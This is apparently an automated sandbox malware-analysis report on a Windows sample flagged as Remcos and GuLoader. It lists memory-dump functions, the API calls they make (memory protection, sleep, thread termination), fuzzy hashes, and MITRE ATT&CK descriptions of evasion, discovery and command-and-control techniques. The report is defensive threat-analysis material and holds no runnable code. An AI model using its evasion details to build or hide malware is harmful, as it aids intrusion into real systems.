Uniqueness Score: -1.00%

Function 02232913, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbba3e1d04b9c99b48211d08ef9ba5fe88007841d248544515427d861c983fd
Instruction ID: f45f0027ddfa6f728560f50be15e646cab3773308eb8aa6f37b240b7a4827507
Opcode Fuzzy Hash: 9bbba3e1d04b9c99b48211d08ef9ba5fe88007841d248544515427d861c983fd
Instruction Fuzzy Hash: 4F3168B15287869FC727DF34884129A7BB5BF16320F24068EDDD4CB4D7D7648445C746

Uniqueness

Uniqueness Score: -1.00%

Function 02230CB9, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 02230CBF

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 8ed0e6c094baf5717a6c0d2337910e29ccd7178e74f09f4b2bf6c4397758137a
Instruction ID: 515041cb0dc1fa4af21454b53a6dee0ab8fbf0a3fcd4fdcce1676b5329f65f73
Opcode Fuzzy Hash: 8ed0e6c094baf5717a6c0d2337910e29ccd7178e74f09f4b2bf6c4397758137a
Instruction Fuzzy Hash: 11218B3144E7878FC7228EB889986D9BFE1EF12621F1C0EB9D4A54BA82D6205655C352

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0223799C, Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

l3i4, xrefs: 0223D11D

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: l3i4
API String ID: 1029625771-3809667125
Opcode ID: 92ffae41ae5a1d1cef7291e0a589f0a80048fb2e80593c9c84125bb83af96b75
Instruction ID: fec52b8d377900fb53c19d8d7a7948821ff6d298a795a541426488998c626d70
Opcode Fuzzy Hash: 92ffae41ae5a1d1cef7291e0a589f0a80048fb2e80593c9c84125bb83af96b75
Instruction Fuzzy Hash: 7DC1A8B1628346CFDF259EB8CD597EABBB2AF45310F054A1DDC8AD7258D3308942CB52

Uniqueness

Uniqueness Score: -1.00%

Function 02237648, Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09a3f92853a543db3f0954d9644901242c4697d06a070d45386ab2234e214edf
Instruction ID: f842a261fc961b24e859e20a03571253c06e49433dff2d233e6b43d703052943
Opcode Fuzzy Hash: 09a3f92853a543db3f0954d9644901242c4697d06a070d45386ab2234e214edf
Instruction Fuzzy Hash: C051C4F16213498BDF31CE658AE57EAB7E2BF48740F55422ACD8E8F208C335A645C711

Uniqueness

Uniqueness Score: -1.00%

Function 0223BF06, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd71860e1909dbdc697ab61c162aaae57f70b70a6bb441d7e575d0fe8fb7260c
Instruction ID: a6dd86e6df54e71114302cb00008dec402e5b8fa671268a12da6fd6f402ee23f
Opcode Fuzzy Hash: cd71860e1909dbdc697ab61c162aaae57f70b70a6bb441d7e575d0fe8fb7260c
Instruction Fuzzy Hash: 5221C5B6720346CFDB35CE98C9D07E973A7AFA5390F458036E9499B298D771D8428B00

Uniqueness

Uniqueness Score: -1.00%

Function 00402504, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.485792374.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.485786270.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.485849049.000000000042B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.485866652.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40c68aa8eea61f259457b177b4042cbc850e08c52af1dcef30fe61dfca3f26e
Instruction ID: ecd4ddb52e9c0557555e3aa86a85eea3e4a20e22788e6a1f074e5956b53d256a
Opcode Fuzzy Hash: f40c68aa8eea61f259457b177b4042cbc850e08c52af1dcef30fe61dfca3f26e
Instruction Fuzzy Hash: E0B01210388101AAE63086589E854342384D2407C03600C33F400F15D0CFB8DD40812D

Uniqueness

Uniqueness Score: -1.00%

Function 0223B7A9, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf3874968b950fb14cda9b13c34832148083637662da403b402d7c42f954315
Instruction ID: d81ffe304ddc5ad3b9801cfa2b7efeb3f7afbf6b05a9180ede2d9affc14673b7
Opcode Fuzzy Hash: bbf3874968b950fb14cda9b13c34832148083637662da403b402d7c42f954315
Instruction Fuzzy Hash: F8B09276320640CFCA86CE09D2D1E80B3B0FB00A44F110480E8028BB11C365E804CA00

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8TEZmAEx3U.exe PID: 6632 Parent PID: 400 8TEZmAEx3U.exeCOMMON

Executed Functions

Function 0056EBFC, Relevance: 3.0, APIs: 2, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000005), ref: 0056EC58

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d608108db9152df773d2171ebd58419d596460fdc466572cb8e2a6701882464c
Instruction ID: aaf50670cbb0d44e754e2174e7ddad968479c9cef7a7d125336a93c9bdbe16b6
Opcode Fuzzy Hash: d608108db9152df773d2171ebd58419d596460fdc466572cb8e2a6701882464c
Instruction Fuzzy Hash: 5B01D2B8446341DFE7009F64C94EB957BA5BF163A1F658588E8425F0B6D77089C1CF12

Uniqueness

Uniqueness Score: -1.00%

Function 0056EAB9, Relevance: 1.6, APIs: 1, Instructions: 74nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056EB8B

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e0dcbfb592e44a32b73ad8b8f215eb3f874901e2d55711ab398c62bbedc3e22e
Instruction ID: 96119c6029cc2be45f3fd91c6aec12dd68bf4438a04df13c667df6a83b76ddb8
Opcode Fuzzy Hash: e0dcbfb592e44a32b73ad8b8f215eb3f874901e2d55711ab398c62bbedc3e22e
Instruction Fuzzy Hash: 8421A8B52113016FEB048E2186DBB9B3B9AFF06350FA285B8DD43CB172D328C881C718

Uniqueness

Uniqueness Score: -1.00%

Function 0056EAB0, Relevance: 1.6, APIs: 1, Instructions: 65nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056EB8B

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2125a7b43ca1643526ef2566e411fbb0e325130b40cb6c1d28eb3df7908c52d4
Instruction ID: dd018ce582d317407231f4dab82410d72ba817395a326abb87021ed37e04f3db
Opcode Fuzzy Hash: 2125a7b43ca1643526ef2566e411fbb0e325130b40cb6c1d28eb3df7908c52d4
Instruction Fuzzy Hash: 83110474201306AFE7049E25869AB5B3B69BF0A310F628579ED47CB162D325D880C615

Uniqueness

Uniqueness Score: -1.00%

Function 0056EB41, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056EB8B

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: edaa43e55b58df69da866cef5dcdc4e53072c9b64fd5da8498f705dce923a6df
Instruction ID: b2ad653ee256eb547c55ff9c1578fb8ce3de17a2b9e9d3342730bd45adb2e17a
Opcode Fuzzy Hash: edaa43e55b58df69da866cef5dcdc4e53072c9b64fd5da8498f705dce923a6df
Instruction Fuzzy Hash: EEF0F67190A3015FE7108E758649B8B7A197F1B236F2587F8DC97D72E2D314C4228669

Uniqueness

Uniqueness Score: -1.00%

Function 0056EC5F, Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-0000101C,-00000018), ref: 0056ECB8

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 10a552ac908872325d13b67c8a6c642535bdd365865e405b32477e3e1694cef0
Instruction ID: aa0dc5738c129ab748bbdbeea5200bf43b4ccac0c9ce026d3570c98bceb74735
Opcode Fuzzy Hash: 10a552ac908872325d13b67c8a6c642535bdd365865e405b32477e3e1694cef0
Instruction Fuzzy Hash: 87F027B5441340DFD3005E35C80D78ABBA8BF163E5F204548E4515B0F5D3A48AC4CF12

Uniqueness

Uniqueness Score: -1.00%

Function 0056EC79, Relevance: 1.5, APIs: 1, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-0000101C,-00000018), ref: 0056ECB8

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 6c49bb9b5403f92ff233b2bbeb7011e04b8a7e6655b79097e5f4b4329d85a1be
Instruction ID: 3f1a5e9440c546ed9659c86d5739b502c805aab3ee8e080d0a92fa0249e0a723
Opcode Fuzzy Hash: 6c49bb9b5403f92ff233b2bbeb7011e04b8a7e6655b79097e5f4b4329d85a1be
Instruction Fuzzy Hash: DBF0A0B440A380CFDB069F65C89D789BBB9BF533A432585C9E9611F0B6C36485C8CF12

Uniqueness

Uniqueness Score: -1.00%

Function 0056E82E, Relevance: 1.6, APIs: 1, Instructions: 85threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-000000022D814BF8,-17090A0E), ref: 0056E912

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 028706a11e3ac4b227858712013664ee6ba1fc6bf8754bc83459c5f6468ee6c8
Instruction ID: 394e425cee08209fda240f1deeaf0469b36b27b056d1941e6eb45b719f45abd2
Opcode Fuzzy Hash: 028706a11e3ac4b227858712013664ee6ba1fc6bf8754bc83459c5f6468ee6c8
Instruction Fuzzy Hash: CF212BB52053428BDB644E2C89767E62B72BF66350FC8866A9CC98B285D73548468B12

Uniqueness

Uniqueness Score: -1.00%

Function 0056E841, Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-000000022D814BF8,-17090A0E), ref: 0056E912

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: c8f929ff6ba7c851d9f62daebccc88ba994e13aea470c0863bb2735c72472e2b
Instruction ID: 7a77428114b183a83cc0faaac5bb080ba129525f300ef842a001804b2a3abf20
Opcode Fuzzy Hash: c8f929ff6ba7c851d9f62daebccc88ba994e13aea470c0863bb2735c72472e2b
Instruction Fuzzy Hash: 08214CA05493428FDB345E2C85B57D63B63AF67371F4847699CDD473C5D33488528706

Uniqueness

Uniqueness Score: -1.00%

Function 0056E8D6, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-000000022D814BF8,-17090A0E), ref: 0056E912

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: bc215a6d32ef87bf18433aca92086f30c4e6286e1da445329a781a7fcafa3fb5
Instruction ID: 4bd95d26612e661abcaab5cdfb1f7abe9982dad3bb09c74ec650a388ddb14028
Opcode Fuzzy Hash: bc215a6d32ef87bf18433aca92086f30c4e6286e1da445329a781a7fcafa3fb5
Instruction Fuzzy Hash: AE018E50A093034BD7204E5C84F47C63B636F62321F4887A49CD98B3C4E3248C554302

Uniqueness

Uniqueness Score: -1.00%

Function 0056EBF4, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000005), ref: 0056EC58

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 03825766370fc3ebbe3b62ea8dcf63da497264f52675b928e77a67cdee7769da
Instruction ID: 74a80017f0cac6fb8a564ccf34fbbc7e2cae9a79bdbb11a76d6b92bd012f2a1e
Opcode Fuzzy Hash: 03825766370fc3ebbe3b62ea8dcf63da497264f52675b928e77a67cdee7769da
Instruction Fuzzy Hash: 17E0D8381063019FFB106B60858FB903F627F05361F694245DD454B0E787318CC2CA11

Uniqueness

Uniqueness Score: -1.00%

Function 0056EC0D, Relevance: 1.3, APIs: 1, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000005), ref: 0056EC58

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e207bc72d1c1a6a2ddf7c795c63bb3590c55d33931d42b3de2cd2f217c02cd7f
Instruction ID: 7ce133856d434be5885e73a140719a2c524e5a2a3bdd0e5c6bd7804e019b3b32
Opcode Fuzzy Hash: e207bc72d1c1a6a2ddf7c795c63bb3590c55d33931d42b3de2cd2f217c02cd7f
Instruction Fuzzy Hash: C5E0D82490A7068FEB105B34448EF943B527F167B2F5947D4EC555B1E29320CC51CA15

Uniqueness

Uniqueness Score: -1.00%

Function 0056EC36, Relevance: 1.3, APIs: 1, Instructions: 12sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000005), ref: 0056EC58

Memory Dump Source

Source File: 0000000E.00000002.760949495.000000000056E000.00000040.00000001.sdmp, Offset: 0056E000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8b58ebd08343faa38354b01f2f94b1eabefb2adfda69e2a6a13af7a897d16222
Instruction ID: 6ada2b9bf477fc2977458a3b585ba684a0f69104a49efaa28b1b43efcf9d5a03
Opcode Fuzzy Hash: 8b58ebd08343faa38354b01f2f94b1eabefb2adfda69e2a6a13af7a897d16222
Instruction Fuzzy Hash: 0FD0A7771033189FC7018E148156B986BABBB14B60F470008EC465F1E0C63085019F40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 8TEZmAEx3U.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Remcos

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets